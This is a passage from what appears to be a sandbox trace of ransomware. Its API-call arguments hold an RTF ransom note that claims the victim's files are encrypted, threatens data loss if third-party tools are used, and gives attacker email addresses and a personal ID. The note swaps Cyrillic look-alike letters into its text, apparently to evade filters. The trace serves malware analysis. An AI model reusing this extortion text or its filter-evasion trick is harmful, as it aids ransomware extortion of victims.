r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 